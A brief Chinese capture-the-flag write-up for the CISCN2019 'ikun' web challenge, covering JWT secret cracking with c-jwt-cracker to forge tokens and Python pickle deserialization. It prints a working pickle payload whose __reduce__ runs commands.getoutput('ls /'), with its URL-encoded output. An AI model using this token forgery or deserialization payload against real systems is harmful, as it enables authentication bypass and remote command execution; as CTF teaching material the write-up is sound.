JWT解密和python反序列化之[CISCN2019 华北赛区 Day1 Web2]ikun

知识点:

JWT

和cookie一个类型,用于认证身份,将jwt值放在JSON Web Tokens - jwt.io解密,可以得到结果,但是想要伪造其他的用户的话需要密钥,密钥使用c-jwt-cracker 中的 ./jwtcrack 进行破解;

破解得到密钥之后在网址中填入得到伪造的jwt;burp更改就可以了;

JWT解密和python反序列化之[CISCN2019 华北赛区 Day1 Web2]ikun_第1张图片

JWT解密和python反序列化之[CISCN2019 华北赛区 Day1 Web2]ikun_第2张图片

python 反序列化:

Pickle是Python内的一个标准模块,实现了基本的数据序列化和反序列化

pickle.dumps 序列化

pickle.laods 反序列化

dumps 将obj对象序列化并返回一个bytes对象
loads 将bytes反序列化并返回一个对象

 参考[CISCN2019 华北赛区 Day1 Web2]ikun以一道例题从JWT安全到Pickle反序列化_sGanYu的博客-CSDN博客

import pickle
import urllib
import commands
 
class payload(object):
    def __reduce__(self):
        return (commands.getoutput,('ls /',))  # return无返回值,使用commands.getoutput(cmd) -> string只返回执行的结果, 忽略返回值
 
a = payload()
print(urllib.quote(pickle.dumps(a)))
 
#  ccommands%0Agetoutput%0Ap0%0A%28S%27ls%20/%27%0Ap1%0Atp2%0ARp3%0A.

你可能感兴趣的:(CTF知识点,前端,servlet)